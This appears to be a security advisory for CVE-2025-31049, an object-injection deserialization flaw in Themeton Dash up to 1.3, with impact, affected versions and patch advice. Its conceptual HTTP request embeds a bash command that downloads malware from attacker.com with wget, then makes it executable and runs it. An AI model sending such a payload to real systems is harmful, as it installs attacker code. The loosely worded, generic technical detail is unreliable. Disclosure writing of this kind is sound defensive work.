CVE-2025-31049: Untrusted Data Deserialization Vulnerability in Themeton Dash Exposes Systems to Object Injection

Overview

CVE-2025-31049 is a severe vulnerability affecting the Themeton Dash platform, a popular application used by millions of users worldwide. The vulnerability is a consequence of the platform’s failure to properly serialize untrusted data, making systems susceptible to Object Injection. Given the high CVSS score of 9.8, the severity of this vulnerability cannot be understated. Companies that do not take immediate action to remediate this vulnerability could potentially compromise their systems or suffer data leakage, impacting their operations and reputation.

Vulnerability Summary

CVE ID: CVE-2025-31049
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Themeton Dash | up to and including 1.3

How the Exploit Works

The exploit works by preparing a malicious payload that takes advantage of the deserialization of untrusted data in the Themeton Dash platform. When the platform deserializes this payload, an unauthorized user can inject objects into the application, altering its normal behavior and giving them the ability to take control of the system or exfiltrate data.

Conceptual Example Code

Below is a conceptual example demonstrating how an attacker might exploit this vulnerability through an HTTP request:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_payload": {
"__type__": "java.lang.Runtime",
"method": "getRuntime",
"args": ["exec"],
"command": ["/bin/bash", "-c", "wget http://attacker.com/malware -O /tmp/malware; chmod +x /tmp/malware; /tmp/malware"]
}
}

In this example, the malicious payload is an object that tricks the deserialization process into executing a command that downloads malware from the attacker’s server, makes it executable, and then runs it.

Mitigation

To mitigate this vulnerability, users of the Themeton Dash platform are advised to apply the vendor patch as soon as possible. In the interim, users may deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to temporarily mitigate the vulnerability by identifying and blocking attempts to exploit it.